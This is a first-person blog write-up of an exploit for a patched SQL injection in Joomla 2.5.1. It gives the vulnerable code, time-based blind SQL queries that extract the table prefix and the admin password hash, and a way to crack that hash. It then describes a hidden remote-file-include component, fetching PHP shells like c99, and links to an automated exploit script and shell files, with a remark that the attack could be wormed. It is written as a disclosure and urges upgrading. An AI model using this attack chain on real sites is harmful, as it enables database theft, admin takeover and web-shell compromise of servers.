Before i discuss this, let me just say that the bug has been patched (was in 2.5.1) and at the time of writing this Joomla is already 2 increments away – 2.5.3 is currently available.
So back in the dark ages of my programming life I, like many people who started coding, worked in web development. And during these times I had to write modules/hack things together for various frameworks, including Joomla. At that stage i was also signed up to the Joomla security security list and a few weeks ago i saw a security update come through that affected most joomla installs and was a core issue. Most of the ‘omgjoomlasux’ commercials/vulns/notifcations actually are problems with 3rd party modules rather than with joomla itself, so this was pretty interesting. Secondly the bug was listed as a SQL injection bug and critical, this gave me the idea that with a bit of luck and some mysql commands I too could hack the planet. I fired up my green_text_on_black_background console and gave it a whirl.
First i pulled Joomla installs 2.5.1 and 2.5.2 from the download page (the issue had just been patched), next I had to go through these to figure out what changed. Doing a quick diff in linux, or for windows people use the cool winmerge it was quick and painless to find the issue:
$db->setQuery(‘select id from ‘.$db->quoteName(‘#__redirect_links’).” where old_url='”.$current.”‘”);
$db->setQuery(‘select id from ‘.$db->quoteName(‘#__redirect_links’).” where old_url='” . $db->quote($current) . “‘”);
So right off the mark, things are looking great, got a SQL command that is not escaped via the $current variable. A quick search to find this in that function gives us:
$current = $uri->toString(array(‘scheme’, ‘host’, ‘port’, ‘path’, ‘query’, ‘fragment’));
Excellent, something we can regularly manipulate with just a browser (since its adding the URI from the browser), so now what could I do with this information?
First off i knew what the SQL query looked like, so it was a lot easier to manipulate in a SQL interface or even something like PhpMyAdmin. So modifying the query quickly gave me some failboats:
1. I couldnt do any insert / modifcation of data from a secondary query like:
– UNION SELECT (insert x into y)
This was due to the fact that insert x into y simple didn’t return anything so it could not be joined to the previous SQL query, the Union requires a returned value to join to the current SQL statement. I tried doing things like SELECTing an INSERT, using the IF statement and a few others without luck.
2. MySQL doesn’t have anything like xp_cmdshell so I could not off-the-bat execute raw code (sadface).
However, MySQL did have a few functions that were super useful:
* INTO DUMPFILE – this lets me write files out to the system (winning.) Unfortunately I have NO IDEA where the webroot is, and in the testing I did MySQL almost never had write access to the webroot when i knew where it was
* SELECT LOAD_FILE – lets me select local files into things – Great apart from the fact that I cannot write into the database and I dont know where I can put files
At this stage it was super-facepalm-time. But then with a little help from Roelof and the internets i started looking at timing attacks.
How the attack works:
* You can add an IF statement into the UNION to evaluate something
* If its true, sleep for a period of time (by default I used 2s more than the average normal request time)
* If false do nothing (so the page returns in a normal time)
So right now I have the ability to essentially ask Joomla a true or false question and get an answer for it. Next was figuring out what I could do with this to get a webshell on a box.
I looked at some of the joomla-y things and found that the easiest way for me to get a shell on the box would be with a simple RFI (loads of components for Joomla already have this, but I figured id rather make a custom component). The only problem is that I didnt have access to the backend because I didnt know the password :/
So next was figuring out how to get the password. Most joomla installs come with a nasty setting that puts a prefix before every table in the database, so while my install has users in c5swv_users, yours might have it in s5fddg_users.. irritating.
So the steps at this stage:
1. Get the prefix for the database
2. Get the admin password out
3. Crack the admin password
4. Login, install component
5. Call the RFI component with your shell.
First things first, figuring out the best way to get data out. Essentially there were two options:
1. Take each character we need to get out to binary, and time out a 8 bits for a single character (8 requests), eg. 00110101 would be in response times,
2. Use a binary tree to try and identify the character, essentially asking something like this:
– Is it between a and z?
– Is it between a and m?
– Is it between t and z?
– Is it between w and z?
– Is it between t and u? (i know it must be either t,u or v at this stage)
– Its V!
I opted for the second option mostly because Roelof suggested it first and also cause it seems sexy :)
So writing the query for those looks something like:
SELECT if((SELECT ORD(singlecharacter) FROM x) between $start and $end,sleep(2),null)
Fetching the prefix:
The prefix can be fetched by doing the query:
SELECT SUBSTRING_INDEX(table_name,’_’,1) FROM information_schema.tables WHERE table_schema=database() limit 1
Then I could change it up to do the positioning with something like:
SELECT ORD(SUBSTRING((SUBSTRING_INDEX(table_name,’_’,1)),$pos,1)) FROM information_schema.tables WHERE table_schema=database() limit 1
However i first had to get the number of positions, so that was done with a guessing game something like:
Is it 3?
Is it 4?
Is it 5?
And a SQL statement something like:
SELECT if((SELECT LENGTH(SUBSTRING_INDEX(table_name,’_’,1)) FROM information_schema.tables WHERE table_schema=database() limit 1) = ,sleep(2),null)
Below you can see it doing this in the script:
Great, so I have prefix and prefix length, now to get the admin hash. Essentially done in the same way as above but with the query SELECT password from #prefix#_users WHERE username=admin
Once I had that out (it takes a while as its a 32 bit hash and a 32 bit salt) I could get on to cracking it.
Joomla passwords by default are MD5(salt + password), and the salt is stored in the password field (thank goodness! If it was in a file somewhere id have really been stuck here).
So brute forcing with the salt eventually gave me the password :) — In the script I only do it up to 6 characters, after that it simply takes too much time to do it in php..
NOTE: I’ve added a -c=1 param for people who wish to do it outside of the script – which seems a lot better since mine is horribly inneficient
Login and Component
So i simply took apart a helloworld component and added the functionality i needed, namely:
However this seldomly seems to work as most hosting providers/defaults for PHP have allow_url_include set to 0. Strangely however it seems that I can include local files that i fetch with file_get_contents, so it was simply a case of doing:
$phpShellCode = file_get_contents($_GET[“url”]);
$filename = “/tmp/myshell” . rand(0,9999) . “.txt”;
$fh = fopen($filename, ‘w’);
Additionally the ‘helloworld’ component made a menu item in the backend which we obviously wouldnt want, so I stripped that out (really just removed the files relating to the admin section). By default joomla has loads of components installed and the wizard to uninstall them doesn’t make it very easy to spot the malicious one.
So now my component works it was just a matter of hacking together some curl scripts to login, install the component and then allow the user to browse to that page. Joomla has some protection against CSRF so the pages generally had to be regex’d to get all the field data to be posted.
On a side note, one strange thing with Joomla is that after posting data (such as login/upload) the Joomla site would return a 200 and the page would have to be reloaded to get confirmation that it was successful.
The PHP shell was a little tricky as i was stuck in a specific part of the page and the way the code got there meant I couldnt _really_ post back to the page, so this excluded all c99-type shells. However putting a little script together meant you could easily get something to be dropped into ../../c99.php and you were A-for-away. I have just included a simple exec script to output the return values of a cmd, so that you can do something like:
And get the responses right in the page:
So i added another php include file to help pull files, something like this:
And used this to get a c99 going on my box, essentially just doing something like:
And then browsing to http://andrewmohawk.com/joomla251/logs/test.php
The reason I placed the file in logs is that the Joomla setup usually forces the user to have write access there so it can write out the log files, in fact marking that directory as non writable forces the admin backend to throw an error so you cannot login.
Scripts / Code:
So i packaged this all (up to installing the RFI component) into an automated PHP script located here -> exploit251.php
And i put the two php helper shell thingies in this directory here ->> www.andrewmohawk.com/phpshells/
Also you will need the RFI component here ->> http://andrewmohawk.com/joomla/com_rfi.zip
The example of it running is located here: exploitRun.log
The vulnerability is pretty serious as firstly it can lead to the machine being compromised while now just as the apache user but later with priv. escalation or other attacks as root. Additionally because it is simply a php script, and we are executing php it could be wormed so that each compromised machine looks for another machine to compromise and spreads that way.
Obviously upgrading to the latest Joomla is recommended to avoid this ^_^
However its also important to ask, if something as trivial as escaping/sanitising a user variable is missed in some of the core functionality, how many more have been missed and how much can we really trust the code.